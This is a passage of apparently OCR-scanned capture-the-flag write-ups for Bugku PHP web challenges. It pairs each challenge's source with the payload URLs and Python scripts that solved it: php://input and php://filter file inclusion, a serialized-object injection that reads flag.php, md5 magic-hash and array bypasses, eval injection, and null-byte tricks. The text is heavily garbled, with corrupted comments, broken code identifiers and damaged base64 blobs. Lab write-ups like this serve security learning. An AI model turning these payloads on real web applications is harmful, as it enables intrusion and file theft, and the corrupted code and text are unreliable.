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<?php

highlight_file('2.php");

$key:'KEY{******:k:k:k:k:k*********************}';

$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){

die('key is: '.$key);
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not the number of bugku !

$ GET["txt"];
$ GET["file"];
$ GET["password"];

if(isset($user)&&(file_get_ contents($user, 'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php

}else{

echo "you are not admin ! ";
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GET /testl/?txt=php://input&file=hint.php

welcome to the bugkuctf
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GET /testl/?txt=php://input&file=php://filter/convert.base64-encode/resource=hint.php

welcome to the bugkuctf
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public $file;
public function _ tostring(){
if(isset($this->file)){
echo file get contents($this->file);
echo "<br>";

return ("good");

A EL I (7 R 7 245 $lflag.php
HRARKKT . - -

MBREIX Bl 17, T2 EME 7 — Fwriteup, KR 17— index.php



$ GET["txt"];
$ GET["file"];
= $ GET["password"];

if(isset($txt)&&(file get contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "AREIERS VRflagHk” ;

exit();

}else{
include($file);
$password = unserialize($password);

echo $password;

"you are not the number of bugku ! ";

$ GET["txt"];
$ GET["file"];
$ GET["password"];

if(isset($user)&&(file_get_contents($user, 'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php

"you are not admin ! ";
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0:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
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GET /testl/?txt=php://input&file=hint.php&password=0:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
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<?php
if(isset($ GET['vl']) && isset($ GET['v2']) && isset($ GET['v3'])){
$vl = $ GET['vl'];
$v2 = $ GET['v2'];
$v3 = $ GET['v3'];
if($vl !'= $v2 && md5($v1l) == md5($v2)){

if(!strcmp($v3, $flag)){
echo $flag;
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http://123.206.31.85:49162/?v1=5214587387a&v2=QNKCDZ0&v3[ ]=flag
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import requests

import base64

url="http://123.206.87.240:8002/web6/"

s=requests.session()

flag=s.get(url).headers['flag']

flag=base64.b64decode(flag) ## python3XAHlFE< bytesitf%, python2E#r[Li{fifidecodestring

flag=flag.decode() # Py L — R 4E M T bytes X &, FHEEN Nstring, decode()BRiAGiiGEutf-8
flag=base64.b64decode(flag.split(":")[1])

print(flag)

payload={'margin':flag}

print(s.post(url,data=payload).text)
f3%flag
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import requests
for a in range(0,40): #XBK EFENT RIERESAS 2T
url="http://123.206.87.240:8002/webll/index.php?line={0}&filename=aW5kZXgucGhw".format(a)

s=requests.get(url)

print(s.text)

a=a+l
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<?php

error_reporting(0);

$file=base64 decode(isset($ GET['filename'])?$ GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;

array(

' =>'keys.txt',

' =>'index.php',
)
if(isset($_COOKIE[ 'margin']) && $_COOKIE[ 'margin']=="margin'){
$file_list[2]="keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}

?>
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Never give up

A1 FREEA AR, TRE T — N Awriteupskl T EHE, &I

never never never give up !!!

H) A p.htmbE B] AT R

TRATIF, RIBkE Blbugkuty 71, HAFEARD I 7N FH IR TG



var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--ITIyJTN
CaWY1MjglMjEIMFRFROVUITVCITI3aWQIMjc1INUQIMjk1IMEEINOIIMEEIMD10ZWFkZXI1Mjg1MjdMb2NhdG1lvbiUzQSUyMGh1bGxvLnBocCUZRm1
kI TNEMSUyNyUy0SUZQiUwQSUwOWV4aXQ1MjglMjk1MOI1MEEINOQIMEE1IMRpZCUZRCUYNFOHRVQINUI 1M dpZCUyNyU1RCUZQiUWQSUYNGE1MOQ
1MjRFROVUITVCITI3YSUYNYU1RCUzQiUwQSUYNGI1IMOQIMjRFROVUITVCITI3YiUyNyU1RCUZzQiUwQWImITI4c3RyaXBvcyUyOCUyNGE1MKkM1M]c
UJTI3JITISITISITBBITACITBBITASZWNobyUyMCUYN25vITIwbm81MjBubyUyMG5vITIwbm81MjBubyUyMG5vITI3ITNCITBBITAScmVOdXJuJTI
WITNCITBBITAEJTBBITIOZGFOYSUyMCUZRCUyMEBmaWx1X2d1dF9jb250ZW50cyUyOCUyNGE1MkMIMjdyITI3ITISITNCITBBaWY1MjglMjRkYXR

hJTNEJTNEJTIyYnVna3UlMjBpcyUyMGE1IMjBuaWN1ITIwcGxhdGVmb3JtITIXITIyJITIwWYWSkITIwITIOaWQIMOQIMOQwWITIwYWSkITIwc3RybG
uJTI4JITIOYiUyOSUZRTUIMjBhbmQ1lMjB1lcmVnaSUyOCUyMjExXMSUyMi5zdWJzdHI1IMjglMjRiJTIDMCUyQzEIMjk1MKkMIMJIXMTE@ITIYITISITI
WYWS5kITIwc3Vic3RyITI4ITIOYiUyQzAIMKkMxITISITIXITNENCUYyOSUWQSU3QiUwQSUWOXI1cXVpcmUIMjglMjImNGwyYTNnLnR4AdCUYyMiUyOSU
zQiUwQSU3RCUWQWYSsc2UIMEEINOIIMEEIMD1wcmludCUyMCUyMm51dmVyJTIwbmV2ZXI1MjBuZXZ1ciUyMGdpdmU1MjB1cCUyMCUyMSUyMSUyMSU
yMiUzQiUwQSU3RCUWQSUwQSUwQSUZzRiUZzRQ%3D%3D--%3E"
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<script>window.location.href="http://www.bugku.com';</script>
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QSUYNGE1M@QIMjRFROVUITVCITI3YSUyNyU1RCUZQiUwQSUYNGIIMOQIMjRFROVUITVCITIZYiUyNyU1RCUZQiUwQWImITI4c3RyaXBvcyUyOCUy
NGE1MkM1MjcuJTI3JITISITISITBBITdCITBBITASZWNobyUyMCUYyN25vITIwbm81MjBubyUyMG5vITIwbm81MjBubyUyMG5vITI3ITNCITBBITAS
cmVOdXJuJTIwITNCITBBITAEITBBITIOZGFOYSUyMCUzRCUYMEBmalWx1X2d1dF9jb250ZW50cyUyOCUyNGE 1IMkM1MjdyJTI3JTISJITNCITBBalWY1l
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JTIwc3RybGVUITI4ITIOYiUyOSUzRTUIMjBhbmQ1MjBlcmVnaSUyOCUyMjExMSUyMi5zdWIzdHI1IMjglMjR1ITIDMCUyQzEIMjk1MKkMIMjIXMTE®
JTIyJTISITIWYWS5kITIwc3Vic3RyITI4ITIOYiUyQzAIMKkMxITI5ITIXITNENCUyOSUWQSU3QiUwQSUWOXI1cXVpcmUIMjglM]jImNGwyYTNnLnR4
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MSUyMSUyMSUyMiUzQiUwQSU3RCUWQSUwWQSUwWQSUZzRiUzRQ==-->
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";if(!'$ GET['id'])
{
header('Location: hello.php?id=1");
exit();

)
$id=$ GET['id'];
$a=$_GET['a'];
$b=$ GET['b'];
if(stripos($a,'."))
i
echo 'no no no no no no no';

return ;

¥

$data = @file_get_contents($a, 'r');

if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and su
bstr($b,0,1)!=4)

{

require("f412a3g.txt");
¥

else

{

print "never never never give up !!!";
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<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/

include_once "flag.php";

ini_set("display_errors", 0);
= strstr($_SERVER['REQUEST URI'], '?'); #BHOZEHIHNE

substr($str,1); #HIGATI
str_replace('key','',$str); #ikeyHlzT

if(md5($keyl) == md5($key2) && $keyl !== $key2){
echo $flag."Hf5flag";

T2 1l LA payload

http://123.206.87.240:8002/web16/index.php?kkeyeyl[ ]=1&kkeyey2[]=1
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<?php
include "flag.php";
$a = @%_REQUEST[ 'hello'];
eval( "var_dump($a);");
show_source(_ FILE_);

?>
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http://123.206.87.240:8003/?hello=${print_r(file(%22./flag.php%22))}

i

http://123.206.87.240:8003/?hello=);print_r(file(%22./flag.php%22));%23
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url:
123.206.87.240:8002/web7/?id=margin&uname[ ]=1

post data:
passwd[ ]=2
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http://123.206.87.240:8002/web8/?ac=1&fn=php://input
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<?php
if(eregi("hackerD]",$ GET[id])) {
echo("

not allowed!

$ GET[id] = urldecode($ GET[id]);
if($ _GET[id] == "hackerDJ")

{
echo "

Access granted!
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payload

http://123.206.87.240:9009/10.php?id=h%2561ckerD]
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http://123.206.87.240:9009/18.php?username[ ]=1&password[ ]=2
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payload

http://123.206.87.240:9009/19.php?password[]="--"
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http://123.206.87.240:9009/22.php?password[ ]=11111

sha()es 2 Lt s ge it
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http://123.206.87.240:9009/7 .php?name[ ]=1&password[ ]=2
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http://123.206.87.240:9009/13.php?a=s214587387a
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http://123.206.87.240:9009/20.php?password=0xdeadc@de

#3%flag

ereg 1kt 1| %004 Bt

%

ereg() AREMFR AT o, Tipassword 4, FrLLR A Enull, =ANES HEA S T8 4. B Llnull==false.

strpos() MZEL A RERS 230, BT LR K IHZnull, nulll==false 1 1E#f .

http://123.206.87.240:9009/5.php?password[ ]=1

%
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http://123.206.87.240:9009/5.php?password=1e9%00* - *
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